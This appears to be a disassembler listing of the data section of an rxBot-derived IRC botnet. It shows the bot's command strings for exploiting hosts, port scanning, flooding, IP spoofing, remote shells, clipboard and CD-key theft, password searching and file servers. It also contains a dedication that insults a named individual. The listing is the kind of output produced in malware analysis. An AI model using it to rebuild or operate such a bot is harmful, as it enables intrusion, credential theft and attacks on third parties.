aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF5o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FE0o
aV: ; DATA XREF: sub_401ACD+3FCBo
; ___:0043833Co ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB6o
align 4
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA1o
align 10h
aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Co
align 4
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F77o
align 4
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Do
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F38o
; sub_401ACD+4645o
align 4
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F23o
align 4
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Eo
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF9o
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE4o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECFo
align 4
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EBAo
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA5o
align 10h
aO: ; DATA XREF: sub_401ACD+3E7Bo
; ___:0043866Co
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E66o
; sub_401ACD+590Co ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E51o
align 10h
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Co
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E27o
align 10h
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E12o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFDo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE8o
align 4
aK: ; DATA XREF: sub_401ACD+3DD3o
; ___:00438328o ...
unicode 0, <k>,0
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBEo
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D94o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Fo
align 10h
aJ: ; DATA XREF: sub_401ACD+3D55o
; ___:00438324o ...
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D2Bo
; ___:00438344o ...
unicode 0, <n>,0
unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+3CF7o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 10h
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C6Ao
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C11o
align 4
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B44o
dword_42BAA8 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AF0o
; sub_401ACD+3B27o
dd 0
dword_42BAC0 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3AB9o
dd 1
dword_42BAD8 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A82o
; sub_401ACD+3B99o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Do
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3998o
; sub_401ACD+39D4o ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Eo
align 4
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Fo
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3808o
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3706o
; sub_401ACD+3D16o
align 10h
dword_42BB20 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+36E9o
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB48 dd 636364h ; DATA XREF: sub_401ACD+366Co
dword_42BB4C dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Fo
dword_42BB58 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3502o
; sub_401ACD+3763o ...
dword_42BB60 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E7o
; sub_40ACB6+4Fo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A6o
align 10h
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3489o
; sub_401ACD+3579o ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3462o
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3445o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3423o
; sub_401ACD+3D6Ao
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3406o
; sub_401ACD+354Do ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E4o
; sub_401ACD+3D40o
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C7o
align 4
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3378o
; sub_401ACD+48F2o
align 4
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Bo
align 4
aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Co
align 10h
dword_42BBD0 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32EFo
dword_42BBE4 dd 7463h ; DATA XREF: sub_401ACD+32A0o
dword_42BBE8 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3283o
; sub_401ACD+38A9o ...
dword_42BBF8 dd 5Fh ; DATA XREF: sub_401ACD+3254o
; sub_401ACD+32C0o ...
dword_42BBFC dd 6D70h ; DATA XREF: sub_401ACD+3234o
; sub_401ACD+487Fo
unk_42BC00 db 2Dh ; - ; DATA XREF: sub_401ACD+3202o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 4
aLoad db 'load',0 ; DATA XREF: sub_401ACD+31ABo
align 4
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3182o
align 4
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Bo
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3156o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+3141o
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Co
align 4
unk_42BC68 db 2Dh ; - ; DATA XREF: sub_401ACD+3121o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42BCA8 db 2Dh ; - ; DATA XREF: sub_401ACD+30AFo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3029o
unk_42BCE0 db 2Dh ; - ; DATA XREF: sub_401ACD+300Fo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2FF1o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCDo
align 4
unk_42BD4C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A41o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A23o
; sub_401ACD+3F62o
unk_42BD88 db 2Dh ; - ; DATA XREF: sub_401ACD+2EDBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_42BDB4 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 10h
dword_42BDE0 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Eo
unk_42BDF0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 10h
dword_42BEA0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Co
aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_42BEDC dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2DD2o
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCCo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC5o
align 10h
unk_42BF10 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Eo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_42BF50 db 2Dh ; - ; DATA XREF: sub_401ACD+2CCAo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42BF7C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C48o
aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42BFB8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD9o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BFE0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B26o
dword_42BFF0 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B21o
dword_42BFFC dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo
dword_42C00C dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B09o
dword_42C01C dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401ACD+2A96o
dd 676E6974h, 2Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o
; sub_401ACD:loc_409779o ...
align 10h
dword_42C050 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401ACD+2A74o
dd 6E697463h, 2E67h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo
; sub_401ACD+7A7Fo
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo
align 10h
unk_42C0A0 db 2Dh ; - ; DATA XREF: sub_401ACD+2A18o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 4
dword_42C0CC dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_401ACD+29D9o
dd 2E7325h
unk_42C0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+29CAo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0
align 10h
dword_42C120 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+295Bo
dd 65726874h, 2E736461h, 0
dword_42C140 dd 627573h ; DATA XREF: sub_401ACD+2935o
dword_42C144 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401ACD+28E3o
dd 2E7473h
unk_42C15C db 2Dh ; - ; DATA XREF: sub_401ACD+28C8o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0
dword_42C194 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2859o
dd 2E676Fh
dword_42C1AC dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401ACD+27B4o
dd 6F666E49h, 2Eh
dword_42C1C8 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401ACD+2785o
dd 2E6F666Eh, 0
dword_42C1E4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401ACD+2730o
dd 746F4220h, 2Eh
unk_42C200 db 2Dh ; - ; DATA XREF: sub_401ACD+2714o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42C23C dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+269Fo
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+267Fo
align 10h
unk_42C260 db 2Dh ; - ; DATA XREF: sub_401ACD+261Do
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 10h
dword_42C280 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25FAo
aSearchComplete db '- Search completed.',0
dword_42C2A0 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_401ACD+25AEo
dd 2E7325h
unk_42C2B8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEBo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42C2D8 db 2Dh ; - ; DATA XREF: sub_401ACD+2514o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 10h
unk_42C300 db 2Dh ; - ; DATA XREF: sub_401ACD+24F5o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
dword_42C32C dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401ACD+24DFo
dd 72616F62h, 2E64h
dword_42C348 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+24B1o
dd 2Dh
unk_42C360 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Eo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42C38C db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 10h
unk_42C3B0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F43o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42C3DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C408 db 2Dh ; - ; DATA XREF: sub_401ACD+2468o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42C42C db 2Dh ; - ; DATA XREF: sub_401ACD+2415o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42C468 db 2Dh ; - ; DATA XREF: sub_401ACD+23A6o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C4A4 db 2Dh ; - ; DATA XREF: sub_401ACD+22C0o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_42C4E0 db 2Dh ; - ; DATA XREF: sub_401ACD+2255o
; sub_40BACE+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C51C db 2Dh ; - ; DATA XREF: sub_401ACD+214Eo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C558 db 2Dh ; - ; DATA XREF: sub_401ACD+20DFo
; sub_40BACE+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42C58C db 2Dh ; - ; DATA XREF: sub_401ACD+202Ao
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_4 db ' Already running.',0
align 4
unk_42C5AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE1o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_28 db '- Failed to start scan, port is invalid.',0
align 4
unk_42C5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC4o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0
align 10h
unk_42C620 db 2Dh ; - ; DATA XREF: sub_401ACD+1F53o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F28o
; sub_401ACD+5BEFo
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F21o
; sub_401ACD+5BE8o
align 10h
unk_42C6A0 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Eo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_42C6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+1D10o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0
unk_42C71C db 2Dh ; - ; DATA XREF: sub_401ACD+1C96o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Do
align 4
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Co
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o
align 4
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C12o
align 4
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE8o
dword_42C788 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: sub_401ACD+1B98o
dd 746F6220h, 2Eh
aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B82o
; sub_401ACD+1BD2o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Do
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B58o
align 10h
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B43o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Eo
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B19o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B04o
align 4
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEFo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1ADAo
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC5o
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AB0o
align 10h
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Bo
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A86o
align 4
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A71o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Co
unk_42C830 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Eo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+1A03o
; sub_401ACD+3CB0o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19ECo
align 4
unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+19CEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1996o
align 10h
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403454o
dword_42C898 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+195Co
dword_42C8AC dd 6F6877h ; DATA XREF: sub_401ACD+193Fo
dword_42C8B0 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o
dword_42C8BC dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Fo
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1916o
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1901o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18ECo
aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D7o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C2o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ADo
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1898o
align 4
aUp db 'up',0 ; DATA XREF: sub_401ACD+1883o
align 4
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Eo
align 10h
aKey db 'key',0 ; DATA XREF: sub_401ACD+1859o
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1844o
align 10h
aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Fo
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+181Ao
align 4
aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17F0o
; sub_401ACD+1805o
align 4
aSi db 'si',0 ; DATA XREF: sub_401ACD+17DBo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C6o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B1o
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Co
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1787o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1772o
align 4
aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Do
align 10h
aLog db 'log',0 ; DATA XREF: sub_401ACD+1748o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1733o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Eo
aT: ; DATA XREF: sub_401ACD+1709o
; ___:004382F8o ...
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F4o
unk_42C97C db 2Dh ; - ; DATA XREF: sub_401ACD+16C0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
unk_42C9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+16B9o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A2o
align 4
aI: ; DATA XREF: sub_401ACD+168Do
; ___:00438304o ...
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1678o
align 4
aS_0: ; DATA XREF: sub_401ACD+1663o
; ___:00438310o ...
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Eo
align 10h
aQ: ; DATA XREF: sub_401ACD+1639o
; ___:off_4382E8o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1624o
align 4
aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Fo
align 10h
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15FAo
align 4
aR: ; DATA XREF: sub_401ACD+15E5o
; sub_401ACD+3DA9o ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15D0o
align 4
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BBo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A6o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1591o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co
align 4
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1567o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1552o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Do
align 4
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1528o
align 4
dword_42CA68 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Do
aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1518o
align 4
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FFo
align 4
dword_42CA88 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F4o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EFo
align 10h
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D6o
align 4
dword_42CAAC dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CBo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C6o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ADo
align 10h
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1498o
align 4
